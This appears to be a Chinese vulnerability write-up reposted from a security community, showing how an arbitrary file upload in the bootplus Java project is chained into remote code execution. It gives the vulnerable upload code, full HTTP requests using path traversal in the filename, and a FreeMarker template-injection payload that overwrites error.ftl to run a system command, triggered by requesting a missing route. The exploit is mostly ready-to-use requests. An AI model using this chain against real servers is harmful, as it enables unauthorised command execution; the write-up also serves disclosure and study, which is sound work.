文章作者:先知社区(1398133550745333)
文章来源:https://xz.aliyun.com/news/17193
前言
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担
前几天不是审计了一波 bootplus,在https://github.com/JoeyBling/bootplus/issues/24发现可以任意文件上传
前台任意文件上传
看到我们的接口代码
@ResponseBody@RequestMapping(value = "/upload", method = RequestMethod.POST)public R upload(Integer uploadType, HttpServletRequest request) throws Exception { MultipartHttpServletRequest multipartRequest; // 判断request是否有文件上传 if (ServletFileUpload.isMultipartContent(request)) { multipartRequest = (MultipartHttpServletRequest) request; } else { return R.error("请先选择上传的文件"); } // 存入数据库的相对路径 String fileContextPath = null; Iterator<String> ite = multipartRequest.getFileNames(); while (ite.hasNext()) { MultipartFile file = multipartRequest.getFile(ite.next()); // 判断上传的文件是否为空 if (file == null) { return R.error("上传文件为空"); } // request.getServletContext().getRealPath(uploadPath) // 如果打成了jar包,Linux路径会变成/tmp/tomcat-docbase.*.*/ String fileName = file.getOriginalFilename(); logger.info("上传的文件原名称:{}", fileName); // 上传文件类型 String fileType = fileName.indexOf(".") != -1 ? fileName.substring(fileName.lastIndexOf(".") + 1) : null; logger.info("上传文件类型:{}", StringUtils.defaultString(fileType)); // 自定义的文件名称 String trueFileName = getTrueFileName(fileName, uploadType); // 防止火狐等浏览器不显示图片 fileContextPath = FileUtils.generateFileUrl( MyWebAppConfigurer.FILE_UPLOAD_PATH_EXT, trueFileName); // 上传文件保存的路径 String uploadPath = FileUtils.generateFileUrl( applicationProperties.getFileConfig().getUploadPath(), trueFileName); logger.debug("存放文件的路径:{}", uploadPath); // 上传文件后的保存路径 File fileUpload = FileUtils.getFile(uploadPath); // 创建父级目录(Linux需要注意启动用户的权限问题) FileUtils.forceMkdirParent(fileUpload); file.transferTo(fileUpload); // 进行文件处理 fileHandle(fileUpload); // 这里暂时只能上传一个文件 break; } return R.ok().put("filePath", fileContextPath);}
随便上传一个文件,抓一个包看看
我们还是使用
<html lang="zh"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传</title> <style> body { font-family: Arial, sans-serif; margin: 20px; text-align: center; } #uploadForm { margin-top: 20px; } #response { margin-top: 20px; color: green; } </style></head><body> <h2>上传文件到服务器</h2> <form id="uploadForm"> <input type="file" id="fileInput" required> <button type="submit">上传文件</button> </form> <p id="response"></p> <script> document.getElementById("uploadForm").addEventListener("submit", function(event) { event.preventDefault(); // 阻止默认提交行为 const fileInput = document.getElementById("fileInput"); if (!fileInput.files.length) { alert("请选择一个文件!"); return; } const formData = new FormData(); formData.append("file", fileInput.files[0]); fetch("http://127.0.0.1:7878/file/upload", { method: "POST", body: formData }) .then(response => response.json()) .then(data => { document.getElementById("response").textContent = "上传成功: " + JSON.stringify(data); }) .catch(error => { document.getElementById("response").textContent = "上传失败: " + error; document.getElementById("response").style.color = "red"; }); }); </script></body></html>
POST /file/upload HTTP/1.1Host: 127.0.0.1:7878Content-Length: 218sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNRCAxJ6FTDUcBwrCAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive------WebKitFormBoundaryNRCAxJ6FTDUcBwrCContent-Disposition: form-data; name="file"; filename="1.txt"Content-Type: application/octet-streamaaaaa------WebKitFormBoundaryNRCAxJ6FTDUcBwrC--

可以看到了路径
尝试一下目录穿越
POST /file/upload HTTP/1.1Host: 127.0.0.1:7878Content-Length: 218sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNRCAxJ6FTDUcBwrCAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive------WebKitFormBoundaryNRCAxJ6FTDUcBwrCContent-Disposition: form-data; name="file"; filename="../../../1.txt"Content-Type: application/octet-streamaaaaa------WebKitFormBoundaryNRCAxJ6FTDUcBwrC--
可以看到成功穿越了,没有禁用我们的../


成功上传了
但是我们知道 spring 的项目是不能解析 jsp 的,那如何 getshell 呢
覆盖模板文件
我们观察依赖

有我们的模板,大看一下文件有没有模板

太好啦,可以看见是有模板的
那其实就可以考虑覆盖我们的模板文件
这里需要涉及几个基础的语法
FreeMarker 变量
在 FreeMarker 中,变量使用 ${} 语法来引用
相当于放入我们的表达式的格式
建对象 (?new)
FreeMarker 可以使用 ?new 关键字实例化某些 Java 类
默认情况下,FreeMarker 不能直接访问 Java 类,但某些情况下可以使用 ?new 访问系统类
在 FreeMarker 中,freemarker.template.utility.Execute 类允许执行系统命令
我们以弹计算器为例子
${"freemarker.template.utility.Execute"?new()("calc")}
所以我们可以覆盖原模板
payload 如下
POST /file/upload HTTP/1.1Host: 127.0.0.1:7878Content-Length: 256sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNRCAxJ6FTDUcBwrCAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive------WebKitFormBoundaryNRCAxJ6FTDUcBwrCContent-Disposition: form-data; name="file"; filename="/../../../../bootplus-master\src\main\resources\templates\error.ftl"Content-Type: application/octet-stream${"freemarker.template.utility.Execute"?new()("calc")}------WebKitFormBoundaryNRCAxJ6FTDUcBwrC--
然后我们需要触发报错的模板
当然只需要访问不存在的路由就好了

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END














暂无评论内容